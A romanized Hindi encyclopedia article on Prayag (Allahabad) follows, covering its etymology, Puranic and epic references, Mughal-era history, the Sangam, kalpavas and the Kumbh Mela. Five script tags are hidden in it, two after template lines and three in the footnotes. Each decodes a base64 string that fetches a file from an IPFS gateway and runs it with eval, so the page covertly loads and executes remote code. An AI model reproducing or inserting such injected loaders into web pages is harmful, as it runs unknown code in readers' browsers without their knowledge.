प्रयाग

भारत डिस्कवरी प्रस्तुति
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kumbh mela se sanbandhit lekh
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prayag
vivaran 'prayag' ka adhunik nam ilahabad hai. prayag uttar pradesh ka ek prachin tirthasthan hai jisaka nam ashvamedh adi anek yajn (yajn) adhik hone se p da tha.
rajy uttar pradesh
zila ilahabad zila
prasiddhi ganga, yamuna aur sarasvati nadiyoan ka yahaan sangam hota hai, isalie hinduoan ke lie is shahar ka vishesh mahattv hai.
kab jaean kabhi bhi ja sakate haian
kaise pahuanchean viman, rel, bas, taiksi
havaee adda ilahabad vimanakshetr, varanasi havaee adda
relave steshan prayag relave steshan, ilahabad siti relave steshan, daraganj relave steshan, ilahabad jankshan relave steshan, naini jankshan relave steshan, soobedaraganj relave steshan, bamarauli relave steshan
bas adda lidar rod evan sivil laians se basean upalabdh
yatayat aauto riksha, bas, taimpo, saikil riksha
kya dekhean sangam, ilahabad qila, anand bhavan, ilahabad sangrahalay
kahaan thaharean hotal, dharmashala, atithi grah
chitr:Map-icon.gif googal manachitr, ilahabad vimanakshetr
adyatan‎
14:40, 12 janavari 2013 (IST)
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prayag ka adhunik nam ilahabad hai. prayag uttar pradesh ka ek prachin tirthasthan hai jisaka nam ashvamedh adi anek yajn (yajn) adhik hone se p da tha. yah ganga-yamuna ke sangam par sthit hai tatha yahaan ka snan triveni snan (donoan nadiyoan ki alag-alag tatha ek sanyukt dhara- tin dharaoan ke karan athava ganga, yamuna ke sath ant:salila sarasvati ke karan 'triveni') kaha jata hai. prayag ka muslim shasan mean 'ilahabad' nam kar diya gaya tha parantu 'prayag' nam aj bhi prachalit hai. yahaan uttar pradesh ka uchch nyayalay aur eji karyalay bhi hai. ramayan mean ilahabad, prayag ke nam se varnit hai. aisa mana jata hai ki is sangam par bhoomigat roop se sarasvati nadi bhi akar milati hai. ilahabad ka ullekh bharat ke dharmik granthoan mean bhi milata hai. ved, puran, ramayan aur mahabharat mean is sthan ko prayag kaha gaya hai. ganga, yamuna aur sarasvati nadiyoan ka yahaan sangam hota hai, isalie hinduoan ke lie is shahar ka vishesh mahattv hai.

  1. REDIRECTsaancha:inhean bhi dekhean

prayag ki vyutpatti

prayag shabd ki vyutpatti kee prakar se ki gayi hai. mahabharat mean vanaparv mean aya hai ki 'sabhi jivoan ke adhish brahma ne yahaan prachin kal mean yajn kiya tha aur isi se 'yajh dhatu' se prayag bana hai.[1]

  • skandapuran ne ise 'pr' evan 'yag' se yukt mana hai[2]
  • pratham aansh skandapuran [3] mean bhi aya hai. at: prayag ka arth hai 'yagebhy: prakrisht:', 'yajnoan se badhakar jo hai' ya 'prakrishto yago yatr', 'jahaan utkrisht yajn hai.' isalie kaha jata hai ki yah sabhi yajnoan se uttam hai, hari, har adi devoan ne ise 'prayag' nam diya hai.
  • matsyapuran ne 'pr' upasarg par bal diya hai aur kaha hai ki any tirthoan ki tulana mean yah adhik prabhavashali hai.
  • brahmapuran ka kathan hai- 'prakrishtata ke karan yah 'prayag' hai aur pradhanata ke karan yah 'raj' shabd arthath tirtharaj se yukt hai.[4]
  • 'prayagamandal', 'prayag' evan 'veni' ya triveni ke antar ko prakat karana chahie, jinamean age ka pratyek poorv vale se apekshakrit chhota kiantu adhik pavitr hai.
  • matsyapuran[5]; padmapuran [6]; koormapuran [7] ka kathan hai ki prayag ka vistar paridhi mean paanch yojan hai aur jyoan hi koee us bhoomikhand mean pravisht hota hai, usake pratyek pad par ashvamedh ka phal hota hai.
  • tristhalisetu [8] mean isaki vyakhya yoan ki gee hai- 'yadi brahyayup[9] ko khooanti manakar koee dedh yojan rassi se charoan or mape to vah paanch yojan ki paridhi vala sthal prayagamandal hoga.
  • mahabharat vanaparv [10] , matsyapuran [11] adi ne prayag ke kshetraphal ki paribhasha di hai[12] 'prayag ka vistar pratishthan se vasuki ke jalashay tak hai aur kambal nag evan ashvatar nag tatha bahumoolak tak hai; yah tin lokoan mean prajapati ke pavitr sthal ke roop mean vikhyat hai.
  • matsyapuran [13]ne kaha hai ki 'ganga ke poorv mean samudrakoop hai, jo pratishthan hi hai.
  • tristhalisetu ne ise yoan vyakhyat kiya hai- poorv sima pratishthan ka koop hai, uttar mean vasukihnad hai, pashchim mean kambal evan ashvatar haian aur dakshin mean bahumoolak hai. in simaoan ke bhitar prayag tirth hai.'
  • matsyapuran [14] ke mat se donoan nag yamuna ke dakshini kinare par haian, kiantu mudrit granth mean 'vipule yamunatate' path hai. kiantu prakashit padmapuran [15] se pata chalata hai ki kalpataru ka pathantar (yamuna-dakshine tate) thik hai. veni kshetr prayag ke aantargat hai aur vistar mean 20 dhanu hai, jaisa ki padmapuran mean aya hai.[16] yahaan tin pavitr koop haian, yatha prayag, pratishthanapur evan alarkapur mean.
  • matsyapuran evan agnipuran ka kathan hai ki yahaan tin agnikuand haian aur ganga unake madhy mean bahati hai. jahaan bhi kahian puranoan mean snan sthal ka varnan (vishisht sanketoan ko chho dakar) aya hai, usaka tatpary hai veni-sthal-snan aur veni ka tatpary hai donoan (ganga evan yamuna) ka sangam.[17]
  • vanaparv evan kuchh puranoan ke parv ke mat ganga evan yamuna ke bich ki bhoomi prithvi ke jaangh hai arthath yah prithvi ki atyant samriddhashali bhoomi hai aur prayag jaghanoan ki upasth bhoomi hai.[18]
  • narasianhapuran (63|17) ka kathan hai ki prayag mean vishnu yogamoorti ke roop mean haian.
  • matsyapuran (111|4-10) mean aya hai ki kalp ke ant mean jab rudr vishv ka nash kar dete haian, us samay bhi prayag ka nash nahian hota. brahma, vishnu evan maheshvar (shiv) prayag mean rahate haian. pratishthan ke uttar mean brahma gupt roop mean rahate haian, vishnu vahaan venimadhav ke roop mean rahate haian aur shiv vahaan akshayavat ke roop mean rahate haian. isilie gandharvoan ke sath devagan, siddh log evan b de-b de rrishigan prayag ke mandal ko dusht karmoan se bachate rahate haian.[19] isi se matsyapuran (104|18) mean aya hai ki yatri ko devarakshit prayag mean jana chahie, vahaan ek mas thaharana chahie, vahaan sanbhog nahian karana chahie, devoan evan pitaroan ki pooja karani chahie aur vaanchhit phal prapt karane chahie.
  • prayag ki sima pratishthan (jhooansi) se vasuki setu tak tatha kanbal aur ashvatar nagoan tak sthit hai. yah tinoan lokoan mean prajapati ki punyasthali ke nam se vikhyat hai.
  • padm puran[20] ke anusar 'veni' kshetr prayag ki sima mean 20 dhanush tak ki doori mean vistrit hai. vahaan prayag, pratishthan (jhooansi) tatha alarkapur (arail) nam ke tin koop haian. puranoan[21] ke anusar vahaan tin agnikunh d bhi haian jinake madhy se hokar ganga bahati hai. vanaparv[22] tatha matsy puran[23] mean bataya gaya hai ki prayag mean nity snan ko 'veni' arthath do nadiyoan (ganga aur yamuna) ka sangam snan kahate haian. vanaparv[24] tatha any puranoan mean ganga aur yamuna ke madhy ki bhoomi ko prithvi ka jaghan ya katipradesh kaha gaya hai. isaka tatpary hai prithvi ka sabase adhik samriddh pradesh athava madhy bhag.[25]-thumb|250px|prayag

pauranik ullekh

prayag ka ullekh puranoan mean bhi anekoan sthan par hua hai, jahaan isake vishay mean kee mahattvapoorn tathy diye hue haian[26]-

  • bhagavan vishnu ko prayag atipriy hai, jahaan balaram aye the.[27] yahaan yamuna ke uttari kinare par pururava ki rajadhani thi.[28] yahaan shri lalitadevi ka mandir bhi hai.[29] yah shraddh ke lie upayukt sthan hai[30] kahate haian ki purush roopi ved ki yah nak hai.[31]
  • ek any prasanganusar prayag ko prasiddh tatha prachin tirth sthan bataya gaya hai, jo ganga-yamuna ke sangam par sthit hai. isaka kshetraphal 5 yojan hai, jahaan jane se ashvamedh yajn ka phal milata hai. ramayan ke anusar yahaan ke jal se prachin kal mean rajaoan ka abhishek hota tha. yahaan prajapati kshetr hai, vahaan snan karane vala svarg prapt karata hai tatha yahaan marane vala vyakti bhavajal se mukt ho jata hai. iandr isaki raksha karate haian. bharadvaj rrishi ka ashram yahaan par tha, jisake kuchh chihn abhi tak vartaman mean haian. yahaan soory putri yamuna sada rahati haian. yahaan siddh, devata tatha rrishiyoan ka avas hai.[32] van jate samay shriramachandr yahaan se hote hue ge the.
  • bauddh kal mean prayag mean bahut se vihar tatha math bane the. yahaan ka 'akshayavat' bahut prachin kal se prasiddh hai. is tirth ke uttar mean pratishthan ke roop mean rakshak brahma, venimadhav ke roop mean vishnu tatha akshayavat ke roop mean shiv rakshak evan pap nivarak haian. matsyapuran ke 102 adhyay se 107 tak isi tirth ka mahatmy bhara p da hai, jisake anusar yah prajapati ka kshetr hai. yahaan ke vat ki raksha svayan shoolapani karate haian aur yahaan marane vala shivalok ka bhagi hota hai. kahate haian, magh mahine mean yahaan sab tirthoan ka vas rahata hai, at: is mahine mean yahaan vas karane ka bahut phal likha hai, par yahaan bailaga di par savar hokar nahian jana chahie. prayag ko 'tirtharaj' kaha gaya hai, jahaan triveni mean snan karane ka vishesh mahatmy hai, jisamean ganga, yamuna tatha sarasvati ka sangam hota hai.[33] yahaan 60 karo d 10,000 pavitr sthan hai, jinamean urvashiraman, sandhyavat, kotitirth adi pradhan haian[34] isase dakshin mean rrinamochan tirth hai, jo rrin se mukti deta hai[35]
  • valmiki ramayan mean prayag ka ka ullekh bharadvaj ke ashram ke sambandh mean hai[36] aur is sthan par ghor van ki sthiti bataee gee hai-

'yatr bhagirathi ganga yamuna-bhipravartate jagmustan deshamuddishy vigahy samuhadvanamh. prayagamabhit: pashch saumitre ghoomamunamamh, agrerbhagavat: ketuan manye sannihito muni:. dhanvinau to sukhan gatva lanbamane divakare, gangayamunayo: sandhau prapaturnilayan mune:. avakasho divikto yan mahanadyo: samagame, punyashcharamaniyashch vasatvih bhavanh sukhamh'[37] is varnan se soochit hota hai ki prayag mean ramayan ki katha ke samay ghor jangal tatha muniyoan ke ashram the, koee janasankul basti nahian thi.

  • mahabharat mean ganga-yamuna ke sangam ka ullekh tirth roop mean avashy hai, kiantu us samay bhi yahaan kisi nagar ki sthiti ka abhas nahian milata-

'pavitramrishibhirjushtan punyan pavanamuttamam, gangayamunayorvir sangaman lok vishrutamh'[38] 'ganga yamunormavye snati y: sangamenar:, dashashvamedhanapnoti kulan chaiv samuddharet'[39] 'prayage devayaj ne devanaan prithivipate, oopurapluty gatrani tapashchatastharuttamamh, gangayamunayo chaiv sangame satyasangara:'[40]

itihas

[[chitr:Anandha-Bhawan-Allahabad.jpg|thumb|anand bhavan, ilahabad]]

  • bauddh sahity mean bhi prayag ka kisi b de nagar ke roop mean varnan nahian milata, varanh bauddh kal mean vatsadesh ki rajadhani ke roop mean kaushaanbi adhik prasiddh thi. ashok ne apana prasiddh prayag-stanbh kaushaanbi mean hi sthapit kiya tha. yadyapi bad mean shayad mugal badashah akabar ke samay mean vah prayag le aya gaya tha. isi stanbh par samudragupt ki prasiddh prayag-prashasti aankit hai. kalidas ne 'raghuvansh' ke 13vean sarg mean ganga-yamuna ke sangam ka manohari varnan kiya hai[41] tatha ganga-yamuna ke sangam ke snan ko muktidayak mana hai-

'samudr-patnyorjalasannipat pootatmanamatr kilabhishekath, tattvavabodhen vinapi bhooy: tanustyajaan nasti sharirabandh:'[42]

'utsadyakhilakshatrajati navanaga: padyavasyaan nam puryamanugangaprayag gayayashch magadha guptashch bhokshyanti'.

  • vishnupuran[43] se soochit hota hai ki is puran ke rachanakal[44] mean prayag ki tirth roop mean bahut manyata thi-

'prayage pushkare chaiv kurukshetre tayarnave kritopavas: prapnoti tadasy shravanannar:'.

  • chini yatri yuvanachvaang ne kannaujadhip maharaj harsh ka prati paanchavean varsh prayag ke mele mean jakar sarvasv dan kar dene ka apoorv varnan kiya hai. uttarakalin puranoan mean prayag ke jis 'akshayavat' ka ullekh hai, use bahut samay tak sangam ke nikat akabar ke qile ke aandar sthit bataya jata tha. yah bat ab galat siddh ho chuki hai aur asali vat vriksh kile se kuchh door sthit bataya jata hai. mahabharat mean akshayavat ka gaya mean hona varnit hai.[45] sanbhav hai gautam buddh ke gaya sthit sanbodhivriksh ke saman hi pauranik kal mean akshayavat ki kalpana ki gee hogi.
  • kaha jata hai ki akabar ke samay mean prayag ka nam 'ilahabad' kar diya gaya tha, kiantu jan p data hai ki prayag ko akabar ke poorv bhi 'ilabas' kaha jata tha. ek pauranik katha ke anusar pratishthanapur athava jhoosi[46] mean chandravanshi raja puru ki rajadhani thi. inake poorvaj pururava the, jo manu ki putri ila aur budh ke putr the.[47] ila ke nam par hi prayag ko 'ilabas' kaha jata tha. vastav mean akabar ne isi nam ko tho da badalakar 'ilahabad' kar diya tha.
  • vats ya kaushaanbi ka raja udayan jo prachin sahity mean prasiddh hai, chandravansh se hi sanbandhit tha-isase bhi prayag mean chandravansh ke rajy karane ki pauranik katha ki pushti hoti hai aur is tathy ka bhi praman mil jata hai ki vastav mean prayag ka ek prachin nam 'ilabas' bhi tha, jise akabar ne kuchh badal diya tha aur usaka uddeshy prayag nam ko hatakar 'allahabad' ya 'ilahabad' nam prachalit karana nahian tha. akabar ne sangam par sthit kisi poorvayugin qile ka jirnoddhar karake usaka vistar karavaya aur use vartaman sudridh kile ka roop diya. is tathy ki pushti tulasidas ke is varnan se bhi hoti hai, jisamean prayag mean ek sudridh gadh ka varnan hai-

'kshetr agam gadh gadh suhava, sapanehu nahi pratipachchhahian pava'[48]

  • akabar ke samakalin itihas lekhak badayooanni ke vrittaant se soochit hota hai ki is mugal samrat ne prayag mean ek b de rajaprasad ki bhi nianv rakhi aur nagar ka nam 'ilahabad' kar diya. akabar ne prayag ki sthiti ki mahatta ko samajhate hue use apane samrajy ke 12 sooboan mean se ek ka mukhy sthan bhi banaya. isamean k da aur jaunapur ke pradesh bhi sammilit kar lie ge the. kaha jata hai ki maury samrat ashok ka kaushaanbi stanbh isi samay prayag laya gaya tha. ashok aur samudragupt ke prasiddh abhilekhoan ke atirikt is par jahaangir aur birabal ke lekh bhi aankit haian. birabal ka lekh unaki prayag yatra ka smarak hai- 'sanvat 1632 shake 1493 margavadi 5 somavar gangadasasut maharaj birabal shri tirath raj prayag ki yatra suphal likhitamh'. khusaro bag jahaangir ke samay mean bana tha. yah bag chaukor hai aur isaka kshetraphal 64 ek d hai. isamean anek maqabare haian. poorv ki or guanbad vala maqabara jahaangir ke vidrohi putr khusaro ka hai. ise 1662 ee. mean jahaangir ne bagavat karane ke phalasvaroop mrityu ke saza di thi. ilahabad ke chauk mean kuchh samay tak ve nim ke pe d kh de the, jin par aangrezoan ne 1857 ke svatantrata sangram mean l dane vale bharatiy viroan ko phaansi di thi.[49]

sangam sthal

[[chitr:Junction-Of-Gange-And-Yamuna-Allahabad.jpg|thumb|manachitr mean ganga aur yamuna ka sangam, ilahabad]] sangam ka dharmik mahattv bhi bahut hai. ganga-yamuna ke sangam sthal prayag ko puranoan[50] mean 'tirtharaj' ( tirthoan ka raja ) nam se abhihit kiya gaya hai. is sangam ke sambandh mean rrigved[51] mean kaha gaya hai ki jahaan krishna (kale) aur shvet (svachchh) jal vali do saritaoan ka sangam hai vahaan snan karane se manushy svargarohan karata hai. puranokti yah haian ki prajapati ne ahuti ki tin vediyaan banayi thian- kurukshetr, prayag aur gaya. inamean prayag madhyam vedi hai. mana jata hai ki yahaan ganga, yamuna aur sarasvati (patal se ane vali) tin saritaoan ka sangam hua hai. par sarasvati ka koee bahy astitv drishtigat nahian hota. puranoan[52] ke anusar jo prayag ka darshan karake usaka namochcharan karata hai tatha vahaan ki mitti ka apane sharir par alep karata hai vah papamukt ho jata hai. vahaan snan karane vala svarg ko prapt hota hai tatha deh tyag karane vala pun: sansar mean utpann nahian hota. yah keshav ko priy (isht) hai. ise triveni kahate haian.

tirtharaj prayag

tirtharaj prayag dharmik evan saanskritik roop se ati-mahattvapoorn hai. isane hamari bharatiy sabhyata ko sanbhal kar rakha hai. yah atmajnan aur jnan prapti ka uttam sthan hai. yah manav prem ki shiksha deta hai. aisa mana jata hai ki brahm dev ne brahmand ke nirman se poorv paryavaran ko shuddh karane ke lie yajn yahian kiya isilie isaka nam prayag p da. prayag ka arth hota hai 'shuddhikaran ka sthan'. british shasan ke dauran prayag mean praantiy karyalay, uchch nyayalay sthapit kiye gaye. un dinoan prayag samajik, bauddhik aur rajanitik gatividhiyoan ka keandr tha. prayag ka svatantrata ki l daee mean bhi vishesh yogadan raha hai. prayag ki bhoomi amaroan ki bhoomi hai. prayag ka atyadhik dharmik mahatv hai aur tirth ke raja ke roop mean jana jata hai, tin pavitr nadiyoan prayag ke sangam par sthit hone ki vajah se isamean chhah ghat haian. do ghat ganga ke tat par, do yamuna ke tat par aur do ghat sangam tat par bane hue haian. sangam ke pashchim mean dhirty-kuliya aur madhu-kuliya sthit haian. isase age niranjan tirth aur audity tirth sthit haian. shishir mochan aur parashuram tirth kile ke niche haian. sarasvati nadi ka sthan ise hi mana jata haian. gaughat ka apana vishesh mahatv hai. bahut se log is sthan par snan karane ke bad gau dan karate haian. isase kuchh age kapil-tirth hai jo ki samrat kapil ke dvara nirmit kiya gaya tha. yahi par indeshvar shiv, tarakeshvar kund, aur tarakeshvar shiv mandir bhi haian. dashamesh ghat ke pashchim mean lakshmi-tirth hai isake dakshin mean mahadevi-tirth hai aur pas mean urvashi-tirth evan urvashi kund haian. aisi manyata hai ki apsara urvashi yahaan snan karati thi. triveni ke us par agnikar hai, someshvar-mahadev aur som tirth bhi yahi haian.[53]

kalpavas

[[chitr:Kalpvas.jpg|thumb|kalpavas ke dauran rahane ka sthan]]

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

prayag mean kalpavas ka atyadhik mahatv hai. yah magh ke mah mean aur adhik mahatv rakhata hai aur yah paush mah ke 11vean din se magh mah ke 12vean din tak rahata hai. kalpavas ko dhairy, ahiansa aur bhakti ke lie jana jata hai aur bhojan ek din mean ek bar hi kiya jata hai. aisi manyata hai ki jo kalpavas ki pratijna karata hai vah agale janm mean raja ke roop mean janm leta hai.

dharmik manyata

ganga yamuna aur sarasvati ke trivenisangam ko 'oankar' nam se abhihit kiya gaya hai. 'oankar' ka 'om' parabrahm parameshvar ki or rahasyatmak sanket karata hai. yahi sarvasukhapradayini triveni ka bhi soochak hai. oankar ka akar sarasvati ka pratik, ukar yamuna ka pratik tatha makar ganga ka pratik hai. tinoan kramash: pradyumn, aniruddh tatha sankarshan (hari ke vyooh) ko udbhoot karane vali hai. is prakar in tinoan ka sangam triveni nam se vikhyat hai.[54] narasianhapuran[55] mean vishnu ko prayag mean yogamoorti ke roop mean sthit bataya gaya hai. matsy puran[56] ke anusar rudr dvara ek kalp ke uparant pralay karane par bhi prayag nasht nahian hota. us samay pratishthan ke uttari bhag mean brahma chhadm vesh mean, vishnu veni madhav roop mean tatha shiv vat vriksh ke roop mean avas karate haian aur sabhi dev, gandharv, siddh tatha rrishi papashaktiyoan se prayag mandal ki raksha karate haian. isilie matsy puran[57] mean tirthayatri ko prayag jakar ek mas nivas karane tatha sanyamapoorvak devataoan aur pitaroan ki pooja karake abhisht phal prapt karane ka vidhan hai.

shiromuandan

isi prakar kshaur karm (shiromuandan) bhi prayag mean sampann hone par pap mukti hetu mana gaya hai. bachchoan aur vidhavaoan ke kshaur karm ka vidhan to hai hi, yahaan tak ki sadhava patniyoan ke kshaur karm ka bhi vidhan 'tristhali setu' ke anusar milata hai. vahaan bataya gaya hai ki sadhava striyoan ko apane keshoan ki sundar veni banakar, sabhi prakar ke keshavinyas sambandhi vyanjanoan se sajakar pati ki ajna se (veni ke agr bhag ka) kshaur karm karana chahie. tatpashchath kati huee veni ko aanjali mean lekar usake barabar svarn ya chaandi ki veni bhi lekar ju de hath se sangam sthal par baha dena chahie aur kahana chahie ki sabhi pap nasht ho jayean aur hamara saubhagy uttarottar vriddhi par rahe. nari ke lie ek matr prayag mean hi kshaur karm karane ka vidhan hai.

prayag mean atmahatya karane ka samany siddhant ke anusar nishedh hai. kuchh apavadoan ke lie hi isako protsahan diya jata haian brahman ke hatyare, surapan karane vale, brahman ka dhan churane vale, asadhy rogi, sharir ki shuddhi mean asamarth, vriddhi jo rogi bhi ho, rog se mukt n ho saka ho, ye sabhi prayag mean atmaghat kar sakate haian.[58] grihasth jo sansar ke jivan se mukt hona chahata ho vah bhi triveni sangam par jakar vat vriksh ke niche atmaghat kar sakata hai. patni ke lie pati ke sath sahamaran ya anumaran ka vidhan hai, par garbhini ke lie yah vidhan nahian hai.[59] prayag mean atmaghat karane vale ko puranoan ke anusar moksh ki prapti hoti hai.[60] ke anusar yogi ganga-yamuna ke sangam par atmahatya karake svarg prapt karata hai aur pun: narak nahian dekh sakata. prayag mean vaishyoan aur shoodroan ke lie atmahatya vivashata ki sthiti mean yada-kada hi many thi. kintu brahmanoan aur kshatriyoan ke dvara atm-agnyahuti diya jana ek vishesh vidhan ke anusar uchit tha. at: jo aisa karana chahean to grahan ke din yah kary sampann karate the, ya kisi vyakti ko mooly dekar doobane ke lie kray kar lete the.[61] samany dharana yah thi ki is dharmik atmaghat se manushy janm aur maran ke bandhan se mukti pa jata hai aur use sthayi amaratv (moksh) athava nirvan ki prapti hoti hai. is dharana ka vistar yahaan tak hua ki ahiansavadi jain dharmavalambi bhi is dharmik atmaghat ko protsahan dene lage. kuchh puranoan ke anusar tirthayatra arambh karake raste mean hi vyakti yadi vyakti prayag ka nam smaran kar le to brahmalok ko pahuanch jata hai aur vahaan sannyasiyoan, siddhoan tatha muniyoan ke bich rahata hai.

kumbh mela

[[chitr:Kumbh mela.jpg|thumb|300px|kumbh mela, prayag (ilahabad)]]

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

12 sal bad yahaan kumbh ke mele ka ayojan hota hai. kumbh ke mele mean 2 karo d ki bhi d ikattha hone ka anuman kiya jata hai jo sambhavat: vishv mean sabase b da jamav da hai. kumbh mela 2013 ka prayag mean ganga ke kinare poore 144 varsh ke bad mahakuanbh mele ka ayojan ho raha hai. chooanki kuanbh ka mela pratyek 12 varsh mean ata hai isalie pratyek 12 kuanbh poora hone ke uparaant ek mahakuanbh ka ayojan hota hai jo 144 varsh ke bad ata hai aur vo prayag mean hi sanpann hota hai. is mahakuanbh ka ayojan sanh 2013 (vikram sanvat- 2069) mean 14 janavari se 10 march ke bich prayag mean sanpann hone vala hai. aise mean ganga snan ka mahatv aur badh jata hai. hianduoan ke sabhi tirth nadiyoan par base haian. ganga nadi hianduoan ke lie devi aur mata saman hai. isilie hianduoan ke lie ganga snan ka bahut mahatv hai. ganga jivan aur mrityu donoan se judi़ huee hai isake bina hiandoo sanskar adhoore haian. gangajal amrit saman hai.

kuanbh mean ganga snan, poojan ka mahatv

anek parvoan aur utsavoan ka ganga se sidha sanbandh hai makar sankraanti, kuanbh mela aur ganga dashahara ke samay ganga mean snan, poojan, dan evan darshan karana mahattvapoorn mana gaya hai. gangaji ke anek bhakti granth likhe ge haian jinamean shrigangasahasranamastotram evan ganga arati bahut lokapriy haian. ganga poojan evan snan se riddhi-siddhi, yash-samman ki prapti hoti hai tatha samast papoan ka kshay hota hai. manyata hai ki ganga poojan se maangalik dosh se grasit jatakoan ko vishesh labh prapt hota hai. ganga snan karane se ashubh grahoan ka prabhav samapt hota hai. amavasya ke din ganga snan aur pitaroan ke nimit tarpan v piandadan karane se sadagati prapt hoti hai aur yahi shastriy vidhan bhi hai. hiandoo dharm mean aisi manyata hai ki kuanbh sthal ke pavitr jal mean snan karane se manushy ke sare pap-kasht dhul jate haian aur moksh ki prapti hoti hai. gangaji mean snan karane se satvikata aur punyalabh prapt hota hai.[62]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ gangayamunayorvir sangaman lokavishrutamh. yatrayajat bhootatma poorvamev pitamah:. prayagamiti vikhyatan brasmad bharatasattam.. vanaparv (87|18-19); tatha 'sarveshu lokeshu prayagan budh:. poojyate tirtharajastu satyamev yudhishthir.. -matsyapuran (109|15).
  2. ↑ prakrishtan sarvayagebhy: prayagamiti giyate. drishtva prakrishtayagebhy: pushtebhyo dakshinadibhi:. prayagamiti tannam kritan hariharadibhi:.. -tristhalisetu, prishth 13.
  3. ↑ kashi. 7|49
  4. ↑ prabhavatsarvatirthebhy: prabhavatyadhikan vibho. matsyapuran (110|11). prakrishtatvatprayagosau prashanyadrajashabdavanh. brahmapuran (tristhalisetu, prishth 13).
  5. ↑ panchayojanavistirn prayagasy tu mandalamh. pravishtamatre tadabhoomavashvamedh: pade pade.. matsyapuran (108|9-10, 111|8)
  6. ↑ padmapuran (1|45|8)
  7. ↑ koormapuran (2|35|4) mean aya hai- panchayojanavistirn brahman: parameshthin:. prayagan prathitan tirth yasy mahatmyamiritamh..
  8. ↑ tristhalisetu (prishth 15)
  9. ↑ brahma ke yajnastambh
  10. ↑ vanaparv (104|5
  11. ↑ matsyapuran, 106|30)
  12. ↑ a prayagan pratishthanadyatpura vasukerhnadath. kambalashvatarau nagau nagashch bahumoolak:. etath prajapate: kshetran trishu lokeshu vishrutamh. matsyapuran (104|5); padmapuran (1|39|69-70, 41|4-5) mean bhi yahi bat kahi gayi hai. vanaparv (85|76-77) mean aya hai- 'prayagan sapratishthanan kambalashvataravubhau. tirth bhogavati chaiv vediresha prajapate:.. tatr vedashch yajnashch moortimanto yudhishthir.' agnipuran (111|5) mean bhi aya hai- 'prayagan... prajapate:' (yahaan 'vedi prokta' padha gaya).
  13. ↑ matsyapuran(106|30)
  14. ↑ (kalpataru, tirth, prishth 143)
  15. ↑ padmapuran (1|43|27)
  16. ↑ magh: sitasite vipr rajasooyai: samo bhaveth. dhanurvianshativistirne sitanilambusangame.. iti padmokte:. padmapuran, tristhalisetu (prishth 75). sitasit (shvet evan nil) ka arth hai veni. 'dhanu' ka map barabar hota hai char hathoan ya 96 aanguloan ke.
  17. ↑ tatr trinyagnikuandani yeshaan madhyen jahnavi. vanaparv (85|73); trini chapyagnikuandani yeshaan madhye tu jahnavi. matsyapuran (110|4), agnipuran (111|12) evan padmapuran (1|39|67 evan 1|49|4). matsyapuran (104|13) evan koormapuran (1|36|28-29) ne 'panch kuandani' padha hai.
  18. ↑ gangayamunayormadhyan prithivya jaghanan smritamh. prayagan jaghanasthanamripasthamrishayo vidu:.. vanaparv (85|75 padmapuran 1|39|69 evan 1|43|19); agnipuran (111|4); koormapuran (1|37|12) evan matsyapuran (106|19). bhavana yah hai ki tirth sthal prithvi ke bachchoan ke saman hai.
  19. ↑ prayagan nivasantyete brahmavishnumaheshvara:. uttaren pratishthanachdadmana brahm tishthati.. venimadhavaroopi tu bhagavaanstatr tishthati. maheshvari vato bhootva tishthate parameshvar:.. tato deva: sagandharva: siddhashch paramarshay:. rakshanti mandal nity papakarmanivaranath.. matsyapuran (111|4-10) aur koormapuran (1|36|23-26), padmapuran (adikhand 41|6-10).
  20. ↑ padm puran (1.43-26
  21. ↑ matsy (110.4) aur agni (111.12
  22. ↑ vanaparv (85.81 aur 85
  23. ↑ matsy0 (104.16-17
  24. ↑ vanaparv (85.75
  25. ↑ dharmashastr ka itihas |lekhak: d aauktar paandurang vaman kane |prakashak: uttar pradesh hiandi sansthan |prishth sankhya: 1326 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  26. ↑ pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |prishth sankhya: 336 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  27. ↑ (bhagavatapuran 7.14.30; 10.90.28 (3); 12.1.37; 10.79.10; matsyapuran 22.8)
  28. ↑ brahmaandapuran 3.13.100; 66.21; 4.44.98; vayupuran 91.50
  29. ↑ matsyapuran 13.26
  30. ↑ vayupuran 77.92
  31. ↑ vayupuran 104.76; 106.69
  32. ↑ matsyapuran 104 poora
  33. ↑ matsyapuran a. 109-110
  34. ↑ matsyapuran a. 106
  35. ↑ matsyapuran 111.112; 180.56; 192.11; 193.19
  36. ↑ aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |prishth sankhya: 585 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  37. ↑ valmiki ramayan, ayodhyakaand 54,2-5-8-22.
  38. ↑ mahabharat vanaparv 87, 18.
  39. ↑ mahabharat vanaparv 84, 35.
  40. ↑ mahabharat vanaparv 95, 4-5.
  41. ↑ shlok 54 se 57 tak
  42. ↑ raghuvansh 13, 58.
